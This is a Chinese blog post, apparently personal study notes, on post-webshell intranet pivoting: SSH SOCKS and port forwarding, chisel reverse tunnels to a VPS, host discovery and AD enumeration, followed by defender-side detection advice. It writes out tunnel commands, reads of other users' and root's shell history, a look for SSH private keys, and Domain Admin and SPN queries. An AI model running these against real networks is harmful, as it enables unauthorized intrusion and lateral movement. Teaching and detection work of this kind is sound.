最近忙完了学校里的一些作业和任务,也结束了实习面试,发现自己对内网的一些知识之前学的比较零散,开个专题给自己复盘一下。

通常,在通过打点拿到Webshell以后,需要解决两个问题:

  1. 外部测试机如何访问内网
  2. 内网里有哪些主机和网段

如果没有稳定的访问通道,后续的端口探测、漏洞验证、横向移动都无法展开。如果不知道内网资产分布,也很容易陷入盲目扫描,造成大量噪声。

0. 明确几类机器

为了避免命令位置混乱,先定义几个角色。

角色 说明 常见位置
测试机 安全人员自己的机器,用来发起连接、配置代理、运行扫描工具 本地电脑 / Kali / VPS
公网 VPS 有公网 IP 的中转服务器,用来接收反向连接或做流量转发 云服务器
内网跳板机 已经获得授权访问权限的一台内网主机 Web 服务器 / 办公终端 / 运维机
内网目标主机 需要进一步识别和测试的内网资产 数据库 / 域控 / OA / 文件服务器

1. 通道构建

1.1 跳板机网络信息收集

一般在跳板机上需要先判断其网络情况,比如:

  1. 这台机器有哪些网卡
  2. 属于哪些网段
  3. 默认网关是多少
  4. DNS 指向哪里
  5. 能不能访问公网
  6. 能不能访问其他内网网段

这些信息决定后续选择正向代理、反向代理,还是只做单端口转发。

1.1.1 Windows跳板机

对于Windows机器,查看本机 IP、网关、DNS、网卡信息

1
ipconfig /all

重点看这些字段:

1
2
3
4
IPv4 Address
Subnet Mask
Default Gateway
DNS Servers

例如看到:

1
2
3
4
IPv4 Address . . . . . . . . . . : 10.10.5.23
Subnet Mask . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . : 10.10.5.1
DNS Servers . . . . . . . . . . : 10.10.1.10

可以初步判断:

1
2
3
当前主机在 10.10.5.0/24 网段
网关是 10.10.5.1
DNS 是 10.10.1.10,可能是内网 DNS 或域控相关主机

继续查看路由表,通过命令:

1
route print

如果路由表里出现多个内网网段,说明这台机器可能能访问多个内网区域,适合作为后续探测入口。例如:

1
2
3
10.10.5.0/24
10.10.8.0/24
172.16.20.0/24

1.1.2 Linux跳板机

对于Linux机器,查看信息命令:

1
2
ip addr
ip -br addr

查看路由:

1
ip route

查看DNS:

1
cat /etc/resolv.conf

查看当前连接:

1
ss -tunap

这些命令都是为了测试这台机器到底能访问哪些网络。如果一台机器只有单网卡、单网段,且只能访问较少的主机,那么他的通道价值有限。如果这台机器能链接办公网、服务器网和运维网,拿他的价值就高很多。

1.1.3 判断跳板机能否出网

Windows:

1
Test-NetConnection <公网VPS_IP> -Port 443

Linux:

1
nc -vz <公网VPS_IP> 443

如果连接成功,说明该内网跳板机可以主动访问公网。且在能够出网的情况下,下一步可以考虑通过反向代理反向端口转发反向Socks隧道等方式连接。

如果连接失败,那就继续测试常见出网端口

Windows:

1
2
3
4
Test-NetConnection <公网VPS_IP> -Port 80
Test-NetConnection <公网VPS_IP> -Port 443
Test-NetConnection <公网VPS_IP> -Port 8080
Test-NetConnection <公网VPS_IP> -Port 8443

Linux:

1
for p in 80 443 8080 8443; do nc -vz <公网VPS_IP> $p; done

这样是为了判断出口策略。如果只有 80/443 能出网,后续通道就尽量走 HTTP/HTTPS 端口,避免一开始就选择高危端口。

1.2 通道构建方式一:SSH动态Socks代理

这种方式需要建立在可以直接通过SSH连接到内网跳板机的情况,比如前期直接通过SSH密钥泄露或者弱口令登录了。

1.2.1 在测试机上开启Socks代理

在测试机上:

1
2
3
4
5
6
ssh -N -D 127.0.0.1:1080 [email protected]

# -N:不执行远程命令,只建立隧道
# -D:开启动态 Socks 代理
# 127.0.0.1:1080:本地监听地址和端口
# [email protected]:内网跳板机账号和地址

也就是在自己的机器上开启1080端口,所有发往这个socks代理的流量都会通过10.10.5.23这台跳板机进入内网

目的: 把跳板机变成一个代理网关,让本地的渗透工具(浏览器、nmap、sqlmap 等)能透过它访问内网,而不需要把工具搬到跳板机上运行。

为啥用SSH -D呢,因为这个命令简单、稳定、痕迹少,其不需要在内网机器上额外部署代理程序,只要有SSH登录权限即可。但其实限制也比较明显:

  1. 必须要能SSH登录跳板机(需要高权限)
  2. 只适合TCP流量 (因此后续使用一些工具时需要注意,例如nmap,需要注意参数选择)
  3. 部分扫描方式不能直接走Socks
  4. 不适合高并发大流量的扫描

1.2.2 测试Socks代理是否可用

当内网的机器有web服务时,在测试机上执行类似:

1
curl --socks5 127.0.0.1:1080 http://10.10.5.1

如果能够访问到内网的页面,说明代理可用。也可以通过以下测试某个内网端口:

1
2
3
4
5
proxychains4 nc -vz 10.10.5.10 80

# 以上执行的前提是需要配置
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

1.3 通道构建方式二:SSH本地端口转发

在只需要访问内网的某一服务时,不一定开完整的Socks代理,可以用本地端口转发

例如只想访问内网一台机器的 RDP,信息如下:

1
2
3
目标服务:10.10.5.100:3389
跳板机:10.10.5.23
测试机本地端口:13389

1.3.1 转发单个RDP服务

在测试机上:

1
2
3
4
ssh -N -L 127.0.0.1:13389:10.10.5.100:3389 [email protected]

# 访问测试机本地 127.0.0.1:13389
# 等价于通过跳板机访问 10.10.5.100:3389

然后在测试机上连接:

1
xfreerdp /v:127.0.0.1:13389 /u:testuser

或者 Windows 上用远程桌面连接:

1
127.0.0.1:13389

1.3.2 转发Web服务

在测试机上:

1
ssh -N -L 127.0.0.1:18080:10.10.5.100:80 [email protected]

然后在本机上直接通过浏览器访问 http://127.0.0.1:18080,这种方式is hi和做单点验证,比如想要访问内网OA、后台管理系统、数据库的Web管理页面等

1.3.3 本地端口转发适用的场景

  1. 已经知道目标 IP 和端口
  2. 只需要访问一个服务
  3. 不需要大范围扫描
  4. 希望减少代理链复杂度

1.4 通道构建方式三:反向端口转发

反向端口转发适合外部测试机不能直接访问内网跳板机,但是内网跳板机可以主动访问公网的VPS的情况。很多企业网络都是这种情况。外部不能直接连进内网,但内网机器可以访问公网 80/443。

1.4.1 单端口反向转发(反向代理)

比如一个场景:

1
2
3
4
公网 VPS:203.0.113.10
内网跳板机:10.10.5.23
内网目标服务:10.10.5.100:80
VPS 上开放端口:18080

在内网跳板机上执行

1
2
3
4
5
6
ssh -N -R 127.0.0.1:18080:10.10.5.100:80 [email protected]

# 内网跳板机主动连到公网 VPS
# 在 VPS 的 127.0.0.1:18080 上开一个转发端口
# 访问 VPS 的 127.0.0.1:18080
# 实际访问的是内网的 10.10.5.100:80

然后就可以在VPS上测试:curl http://127.0.0.1:18080,如果成功连接代表反向转发成功

注意命令里 VPS 端绑定的是 127.0.0.1 而不是 0.0.0.0,这样转发端口只有 VPS 本机能访问。

如果图省事绑成 0.0.0.0,这个端口就直接挂在公网上了,Shodan、Censys 这类扫描器很快就会收录,蓝队在排查异常回连流量时反查到 VPS IP,一眼就能看出转发的是什么内网服务,可能会造成整条隧道链路直接暴露。同时公网上暴露的转发端口也会被其他攻击者扫到并蹭用,这种情况下他们打内网留下的源 IP 是你的 VPS,溯源风险只得自己承担。

1.4.2 为什么要用反向转发(反向代理)

为啥要用反向代理呢,就是这一节开头说的测试机不能直接访问内网跳板机,但是内网跳板机可以主动访问公网的VPS的情况

在正常正向连接的情况下,测试机直接访问内网跳板机通常会被防火墙拦住。但是反向代理变成了内网跳板机主动访问公网VPS,这种情况更符合很多企业网络的默认策略,很多内网机器不能被外部访问,但可以访问公网,且通常能够绕过一些防火墙的配置。

1.5 通道构建方式四:反向Socks隧道

在需要访问多个内网目标的情况下,不想为每个服务单独做端口转发,可以使用反向Socks隧道。这种方式常用与内网跳板机能访问公网VPS的情况下,可以通过VPS代理访问多个内网地址

这里以 chisel 这类隧道工具举例

1.5.1 在公网VPS上启动服务端

在VPS上通过chisel执行:

1
2
3
4
./chisel server -p 8443 --

# 在 VPS 的 8443 端口启动服务端
# 允许客户端建立反向隧道

1.5.2 在内网跳板机上连接 VPS

上传了chisel的情况下,在跳板机上执行:

linux:

1
./chisel client <公网VPS_IP>:8443 R:127.0.0.1:1080:socks

windows:

1
chisel.exe client <公网VPS_IP>:8443 R:127.0.0.1:1080:socks

这个命令执行后表示,内网跳板机主动连接VPS的8443端口,并在VPS本地127.0.0.1:1080开一个socks代理,并通过该socks代理访问内网。

执行后,在VPS上测试:

1
curl --socks5 127.0.0.1:1080 http://10.10.5.1

如果能访问内网地址,说明反向socks生效。

1.5.3 为啥反向Socks常用和缺点

单端口转发适合访问一个服务,Socks 代理适合访问多个服务。比如当后续想访问多个内网服务,使用socks代理就比较方便。但其实也有一些缺点:

  1. 首先就是需要上传额外的工具(例如此处需要上传chisel)
  2. 容易被EDR关注
  3. 长链接比较明显
  4. 如果大量扫描的话容易产生明显流量

2. 主机发现

一般在通道建立后,需要

  1. 先看本机网络信息
  2. 再看 ARP、路由、DNS、历史连接
  3. 再做同网段存活探测
  4. 最后再对关键网段做低速端口探测

这样相比直接批量的不做计划的测试来说,产生的噪声更少,且更容易发现真是业务路径。

2.1 被动主机发现

被动发现就是:不主动对大量目标发包,而是从当前主机已有信息中推断内网资产。

2.1.1 查看ARP缓存

ARP 缓存里通常能看到当前主机近期通信过的同网段主机,通常在内网机器上执行

windows:

1
arp -a

linux:

1
2
ip neigh
# 或者arp -n

这样扫出来的地址通常比盲扫的效率更高,且更有价值,因为他们和当前主机存在过实际的通信关系

2.1.2 查看路由表

这块前面在跳板机网络信息收集部分有提到了,但为了完整性还是列一遍

Windows:

1
route print

Linux:

1
ip route

在结果中,重点看是否存在非当前网段的路由,例如结果里:

1
2
10.10.8.0/24 via 10.10.5.1
172.16.20.0/24 via 10.10.5.254

说明当前主机可能可以访问其他内网网段,后续的步骤中就不应只扫描本主机的网段,还要验证这些路由网段是否可达

2.1.3 查看DNS配置

Windows:

1
ipconfig /all

Linux:

1
cat /etc/resolv.conf

DNS服务器很重要,在很多企业里DNS服务器可能同时也是域控,或者至少能反映内网核心基础设施

2.1.4 查看hosts文件

Windows:

1
type C:\Windows\System32\drivers\etc\hosts

linux:

1
cat /etc/hosts

hosts文件里通常会出现内部系统映射,例如:

1
2
3
10.10.5.20 oa.internal.local
10.10.5.30 git.internal.local
10.10.5.40 db.internal.local

可能直接展示了一些内网核心后台

2.1.5 查看当前网络连接

Windows:

1
netstat -ano

Linux:

1
ss -tunap

重点关注当前主机正在连接哪些内网地址,通常可以帮助我们判断

  1. DNS 在哪
  2. 数据库在哪
  3. 当前业务依赖哪些服务
  4. 是否存在跨网段访问

如果当前主机是 Web 服务器,netstatss 看到的数据库连接Redis 连接内部 API 连接,往往就是后续测试的重要方向。

2.2 主动主机发现

被动发现之后,再做主动探测。主动探测要控制范围和速率,尤其是在生产环境中。

2.2.1 ICMP存活探测

最常用与互通测试的ping命令即是通过ICMP协议来的,也可以通过用nmap等工具做ping扫描

如果测试机已经配置好Socks,但ICMP不能通过 Socks,一般可以通过上传工具在内网跳板机上执行:

1
nmap -sn 10.10.5.0/24

通常在内网跳板机上执行,结果更准确,因为它直接和目标主机在同一网络环境中

也可以通过Windows Powershell来做简单探测:

1
2
3
4
5
6
1..254 | ForEach-Object {
$ip = "10.10.5.$_"
if (Test-Connection $ip -Count 1 -Quiet) {
$ip
}
}

这段命令会依次 ping 10.10.5.110.10.5.254,能 ping 通的就输出

2.2.2 ARP同网段探测

如果当前主机和目标在同一个二层网段,ARP探测通常比较有效,在跳板机上执行:

1
2
3
4
sudo arp-scan -l

# 也可以指定网段
sudo arp-scan 10.10.5.0/24

ARP探测适合用于探测同网段,且不依赖于策略是否允许ICMP协议,对于一些办公终端比较有效。

但是限制也比较明显,也就是只能探测同二层网段下的机器,需要权限支持,还需要上传工具。

2.2.3 TCP存活探测

很多服务器会禁 ICMP,但开放业务端口,这时可以用 TCP 端口判断主机是否存活

比如通常可以在跳板机上通过nmap等工具通过TCP来探活:

1
2
3
4
5
6
nmap -Pn -n -p 22,80,135,139,445,3389,3306,6379,8080 --open 10.10.5.0/24

# -Pn:不做主机发现,直接认为主机在线并探测端口
# -n:不做 DNS 解析,减少额外请求
# --open:只显示开放端口的主机
# -p:指定端口范围

如果扫描是在测试机上执行,并且流量需要经过 Socks 代理,需要注意 nmap 参数。Socks 代理不适合 SYN 扫描,所以要使用 TCP connect 扫描,在测试机上:

1
2
3
4
5
6
proxychains4 nmap -sT -Pn -n -p 80,445,3389 --open 10.10.5.0/24

# -sT:TCP connect 扫描,适合走代理
# -Pn:不使用 ICMP 判断存活
# -n:不做 DNS 解析
# -p:指定端口

通常还是尽量不要通过代理直接跑大范围全端口扫描。速度慢、结果不稳定,也容易制造大量异常连接

2.3 Windows环境下的主机发现

Windows 内网大多数情况下是 AD 域环境,信息收集的核心思路跟 Linux 不一样,Linux 看路由表猜网段,Windows 直接问域控要资产清单

2.3.1 判断是否在域环境

最快的方式就是在跳板机上执行 whoami,输出格式直接说明身份:

输出DESKTOP-ABC\user,则工作组机器或本地账户登录,不在域里(或当前进程没用域身份启动)

输出CORP\user,则域账户身份在域里

whoami 只反映当前进程身份。如果是直接拿下了本地管理员账户,即使机器加了域,也会显示本地账户,因此需要交叉验证:

1
systeminfo | findstr /B /C:"Domain"

这条直接看机器本身的域归属,跟当前用户身份无关。输出 Domain: corp.local 说明机器在域里,输出 Domain: WORKGROUP 说明是独立机器。

知道在域里之后,下一步就是问域控要资产清单

2.3.2 查看域控信息

域控是后续所有 LDAP 查询的目标。通过命令:

1
nltest /dsgetdc:corp.local

输出里 DC: 那行就是域控的 FQDN,Address: 那行是 IP

如果当前进程没有域身份(比如本地管理员 shell),则命令nltest会失败。这时可以走 DNS SRV 记录:

1
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local

DNS 不需要任何域凭据,任何能解析内网 DNS 的机器都能查到域控

2.3.3 列内网资产

这一步是 Windows 内网很重要的操作,**用一条 LDAP 查询拿到全域主机清单,不发任何探测包到目标:

1
net group "Domain Computers" /domain

输出就是域里所有计算机账户名,配合 DNS 解析就能拿到 IP:

1
for /f %i in ('net group "Domain Computers" /domain ^| findstr /v "^$ The command"') do @nslookup %i 2>nul | findstr "Address"

还可以查询:

1
2
3
4
net group "Domain Controllers" /domain   # 所有域控
net group "Domain Admins" /domain # 域管账户(横向移动目标)
net group "Enterprise Admins" /domain # 企业管理员
setspn -T corp.local -Q */* # 所有注册了服务的机器,能识别SQLServer/Exchange/Web服务

2.3.4 关于 net view

在之前,老是能看到通过net view列网上邻居什么的,但是Win10 / Server 2016+ 默认禁用了Computer Browser服务,因此直接执行会返回错误:

1
2
System error 6118 has occurred.
The list of servers for this workgroup is not currently available.

因此在查询时尽量还是优先考虑走AD拿信息

2.4 Linux环境下的主机发现

Linux下没有像Windows里的AD这样比较现成的资产清单,因此一般是通过翻这台机器自己留下的一些连接痕迹,或者直接扫描来做主机发现。例如查找系统记录了哪些连接、解析过哪些主机、用户敲过什么命令等。

2.4.1 查看主机名和系统信息

1
2
3
4
hostname				# 看机器名,通过这样的信息看主机的角色
whoami # 用户名
id # 用户信息
uname -a # 拿到内核版本,一般是后续提权之类的用

2.4.2 查看当前主机访问过哪些内网地址

当前连接和监听接口:

1
2
3
4
5
6
ss -tunap
# -t TCP
# -u UDP
# -n 不解析(快,也避免触发 DNS 查询留痕)
# -a 全部状态
# -p 显示进程。

输出里 ESTAB 状态的远端地址就是这台机器正在和谁通信,往往是数据库、缓存、内部 API、监控上报地址

查看ARP表:

1
ip neigh

查看历史命令中出现过的内网地址:

1
grep -E "10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\." ~/.bash_history 2>/dev/null

如果是有比较高的权限,还可读本机上其他用户的:

1
2
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null # 有 root 才读得到

或者一些其他也可以尝试的:

1
2
3
4
cat ~/.ssh/known_hosts          # 这台机器SSH连过哪些主机(默认是哈希过的,但有时配置关了哈希)
cat ~/.ssh/config # SSH别名配置,经常直接写明"Host db-prod/HostName 10.x.x.x"
cat /etc/hosts # 静态主机解析,内网常用
ls ~/.ssh/ # 顺便看看有没有私钥

3. 防守侧可以重点关注的点

把前面攻击者的动作反过来看,防守侧不一定要等到横向移动已经完成才开始告警。通道建立、主机探测、域信息查询这些阶段都会留下痕迹,只是这些痕迹分散在网络、进程和主机文件里,需要结合起来看。

3.1 通道层面

反向通道有一个共同特征:内网机器会主动连接外部地址

所以排查时可以优先关注几类连接:

  • 内网主机到陌生公网 IP 的长连接
  • 连接目标不是公司已有业务地址
  • 目的端口不是常见业务端口,例如 8443、9000、随机高位端口
  • 单个连接流量不大,但持续时间很长
  • 同一个进程长期连接固定公网 IP
  • 连接进程位于用户目录、临时目录或业务无关路径

SSH 反向隧道、chisel、nps 这类工具,在很多情况下会表现为低流量长存活固定目标的连接特征。这类连接不一定就是恶意,但如果出现在 Web 服务器、数据库服务器、办公终端这类不应该随意主动出连的主机上,就需要继续往下查进程、命令行、文件路径和父进程。

防守方通常无法直接检查攻击者的公网 VPS,因此检测重点应该放在企业侧可观测的位置,比如出口防火墙、流量探针、EDR 网络连接日志、代理网关日志和 DNS 日志。只要反向通道建立成功,内网主机就一定会产生对外连接,这就是防守侧比较稳定的观察点。

3.2 主机层面

攻击者在内网落点机上做信息收集时,通常会翻一些本地痕迹,例如:

1
2
3
4
5
arp -a
ss -tunap
cat ~/.bash_history
cat ~/.ssh/config
cat ~/.ssh/known_hosts

这些位置攻击者会看,防守方在应急排查时也应该看。需要注意的是,这些文件被读取本身不一定都有日志,除非主机上部署了 EDR、auditd 或文件审计能力,所以它们更适合作为事后排查和主机取证的重点位置。

比如一台 Web 服务器的 .bash_history 里出现大量内网 IP、sshnmapproxychainschisel 等痕迹,就要高度怀疑这台机器已经不只是业务服务器,而是被当成了内网跳板。当然,最终还需要结合执行用户、时间、业务背景和是否存在授权测试来判断。

Windows 环境下,命令行审计也很重要。像下面这些命令,在普通业务用户或普通办公终端上并不常见:

1
2
3
4
net group "Domain Admins" /domain
nltest /dsgetdc:%USERDOMAIN%
setspn -T domain.local -Q */*
net view /domain

这些命令本身不代表攻击成功,但通常说明有人在枚举域环境、查找域控、收集 SPN 信息或寻找高权限用户。配合 Sysmon Event ID 1 或 Windows 4688 进程创建日志,可以把执行用户、父进程、命令行和执行时间串起来看。

这里真正要注意的是父进程和执行身份,如果这些命令是从管理员常用运维终端上执行的,可能只是正常排查。如果是从 Web 进程、脚本解释器、Office 进程、未知 EXE 拉起来的,风险就要明显提高。

3.3 网络层面

主机发现和横向移动阶段,网络侧通常会更明显。

常见信号包括:

  • 短时间内大量 ARP 请求
  • 单台主机访问大量内网 IP
  • 对 445、3389、22、80、8080 等端口批量连接
  • 连接失败率突然升高
  • 非扫描器资产出现扫描器行为
  • 普通办公终端访问服务器网段、数据库网段或域控相关端口
  • DNS 服务器收到异常的 SRV 查询或大量内部域名枚举请求

这里不能只看有没有连接,而要看连接关系是否符合业务逻辑。比如运维扫描器访问大量主机是正常的,堡垒机访问服务器也可能是正常的。但一台 Web 服务器突然开始扫整个 C 段的 445,或者一个普通办公终端短时间内连接几十台服务器的 3389,就不太符合正常业务行为。

生产环境里更实用的判断方式是做角色画像:这台机器平时访问哪些 IP、哪些端口、哪些域名。如果某一天它突然访问大量从未通信过的内网地址,或者访问关系和主机角色明显不匹配,就应该进入告警或人工复核。

3.4 重点放在两个环节

内网攻击链里,比较难发现的是本地信息收集。攻击者查看 ARP 表、翻历史命令、读取配置文件、查询域信息,这些动作很多时候都是合法系统行为,不一定会产生明显的网络流量。

但只要攻击者继续往下走,就一定会产生更明显的动作:

1
2
3
4
5
6
7
建通道
扫存活
探端口
登录其他主机
复制文件
远程执行
创建服务

所以防守侧不一定能拦住所有信息收集动作,但应该尽量在两个位置重点观察:

  1. 通道建立阶段
    重点看内网主机异常外连、长连接、代理工具、端口转发、SSH 隧道。
  2. 横向移动阶段
    重点看单源多目标连接、异常登录、远程执行、服务创建、文件复制和管理员账号异常使用。

内网检测不应该只盯某一个命令或某一个工具名,而是要看一组行为是否连成链路。如果同一台主机先出现异常外连,随后开始访问大量内网 IP,再出现域信息查询和远程登录行为,那它就已经不再是孤立告警,而是一条比较完整的内网入侵链路。

后续的内容,我准备再整理一下端口识别、权限提升、凭证访问、权限维持、横向移动等内网常见的方面。